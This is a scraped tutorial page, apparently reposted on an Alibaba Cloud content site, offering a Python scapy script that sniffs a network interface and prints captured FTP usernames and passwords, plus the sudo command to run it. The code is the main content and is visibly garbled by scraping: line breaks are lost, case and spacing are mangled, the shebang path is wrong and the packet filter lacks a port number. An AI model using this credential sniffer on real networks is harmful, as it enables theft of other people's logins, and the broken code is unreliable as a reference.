Python stunt-sniff FTP login password

Source: Internet
Author: User
Tags ftp login

Code:

#!/usr/share/env python#--*--coding=utf-8--*--import optparsefrom scapy.all import *def ftpsniff (pkt):d est = Pkt.getlayer (IP). Dstraw = pkt.sprintf ('%raw.load% ') user = Re.findall (' (? i) ' User (. *) ', Raw) pswd = Re.findall (' (? i) PASS ( . *) ', raw) if User:print ' [*] detected FTP Login to ' + str (dest) print ' [+] Username: ' + str (user[0]) elif pswd:print ' [+] Password: ' + str (pswd[0]) def ftpsniffmain ():p arser = Optparse. Optionparser (' usage%prog ' + '-i <interface> ') parser.add_option ('-i ', dest= ' interface ', type= ' string ', help= ' Specify interface to listen on ') (Options,args) = Parser.parse_args () if options.interface = = None:print Parser.usageexit ( 0) Else:conf.iface = Options.interfacetry:print ' FTP sniffer is running .... ' Sniff (filter= ' TCP port ', Prn=ftpsniff) Except Keyboardinterrupt:exit (0) If __name__ = = ' __main__ ': Ftpsniffmain ()

Run sniffer script: sudo python ftpsniff.py-i wlan0

Now we are logged in to FTP for testing

Sniff results

Python stunt-sniff FTP login password

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.